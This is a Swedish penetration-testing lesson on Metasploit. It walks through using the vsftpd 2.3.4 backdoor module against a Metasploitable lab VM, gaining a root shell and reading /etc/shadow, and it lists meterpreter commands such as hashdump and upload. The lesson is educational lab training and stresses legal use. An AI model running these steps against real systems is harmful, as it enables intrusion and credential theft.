akademin körs anonymt — inget sparas
skapa kontonummer →
Akademin / Lektion 17 — Metasploit
lektion 17 · exploit

Vad är Metasploit?

Det största open-source-frameworket för penetrationstestning. 2000+ exploits, 1000+ post-exploit-moduler. Om en sårbarhet är offentlig sedan 2003 så finns den oftast i Metasploit.

Metasploit är inte ett enskilt verktyg — det är ett ramverk. Det är som "Lego för exploits". Du väljer en sårbarhet (exploit), en nyttolast som ska köras om exploiten lyckas (payload), och en lyssnare som tar emot kopplingen tillbaka — sen kör du.

Bara för utbildning. Metasploit är ett aktivt angreppsverktyg. Att köra det mot ett system du inte äger eller har skriftligt tillstånd att testa är dataintrång enligt svensk lag — punkt slut. Lagliga övningsmål: Metasploitable 2/3 (en avsiktligt sårbar VM från Rapid7, gjord för exakt detta), HackTheBox, TryHackMe, eller VirtualBox-VM:ar du själv satt upp.

01Vad Metasploit egentligen är

Tre saker bygger upp en attack i Metasploit:

01

Exploit

Koden som utnyttjar en specifik bugg i ett specifikt system. T.ex. "MS17-010 EternalBlue" mot Windows 7 med SMB-port öppen.

02

Payload

Vad som händer efter exploiten lyckas. T.ex. en reverse shell, en meterpreter-session, eller "lägg till en användare".

03

Listener

Din sida. Ofta en port på din maskin som väntar på att payloaden ska "ringa hem" så du får kopplingen.

Ovanpå det finns hundratals auxiliary-moduler (skannrar, fuzzers, brute-forcers) och post-moduler (kör efter en lyckad exploit: dumpa lösenord, ladda upp filer, persistera).

02Installation

Lättast: använd Kali Linux. Det har Metasploit förinstallerat.

# Linux (Ubuntu/Debian)
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

# macOS / Windows: ladda ner installer från
# metasploit.com/download

03Starta msfconsole

msfconsole

       =[ metasploit v6.3.45-dev                          ]
+ -- --=[ 2378 exploits - 1239 auxiliary - 415 post       ]
+ -- --=[ 1390 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]
Metasploit tip: Use sessions -i <id> to interact with a session

msf6 >

Du är nu inne i Metasploit-konsolen. Allt nedan körs där.

04Hela attack-flödet (mot Metasploitable)

Metasploitable är en VM som Rapid7 gjort. Den har medvetet hål överallt och är skapad för att övas på. Sätt upp den i VirtualBox enligt instruktioner på sourceforge.net/projects/metasploitable.

# 1. Sök efter en exploit (vsftpd-bakdörren som lades in 2011)
msf6 > search vsftpd

   #  Name                                  Disclosure Date  Rank       Description
   -  ----                                  ---------------  ----       -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  VSFTPD v2.3.4 Backdoor Command Execution

# 2. Använd den exploiten
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# 3. Se vilka options som behöver sättas
msf6 exploit(vsftpd_234_backdoor) > options

Name    Current Setting  Required  Description
----    ---------------  --------  -----------
RHOSTS                   yes       The target host(s)
RPORT   21               yes       The target port (TCP)

# 4. Sätt målets IP (din Metasploitable-VM)
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.101

# 5. Kör attacken
msf6 exploit(vsftpd_234_backdoor) > exploit

[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[+] 192.168.56.101:21 - Backdoor service has been spawned, handler...
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.10:42345 -> 192.168.56.101:6200)

# 6. Du är inne — som root
whoami
root
cat /etc/shadow

Det är hela cykeln: search → use → set options → exploit → session öppnad. Logiken är samma för i princip alla 2000+ exploits.

05Meterpreter

Den vanligaste payloaden i Metasploit är meterpreter — en fullfjädrad fjärrstyrnings-payload som inte rör hårddisken (lever bara i minnet) och har 100+ inbyggda kommandon.

# inne i en meterpreter-session
meterpreter > sysinfo
meterpreter > getuid
meterpreter > screenshot
meterpreter > hashdump        # dumpa Windows-lösenordshashar
meterpreter > download fil.txt
meterpreter > upload trojan.exe
meterpreter > shell            # droppa till en cmd/sh-prompt

06Andra moduler du bör känna till

07Hur du skyddar dig

08Vad du lärt dig

Övning: din första exploit i ett labb

1. Installera VirtualBox och ladda ner Metasploitable 2 från SourceForge.

2. Starta VM:n. Ta reda på dess IP-adress (logga in med msfadmin/msfadmin, kör ifconfig).

3. På din hostmaskin: msfconsole.

4. Följ flödet ovan: search vsftpduse ...set RHOSTS <IP>exploit.

5. När du är inne som root, kör cat /etc/passwd och cat /etc/shadow. Detta är hela "game over" — full kontroll över systemet.

6. Bonus: prova fler exploits — Metasploitable har ~20 inbyggda hål. search type:exploit och bläddra.

Bra jobbat — du har klarat hela verktygsserien.

Du har nu sett basen i en pentesters verktygslåda: recon (Nmap, Nikto, Recon-ng, Maltego), exploit (sqlmap, Metasploit) och cracking (hashcat, John). Fortsätt öva i HackTheBox och TryHackMe — det är där färdigheterna sätter sig.

Tillbaka till akademin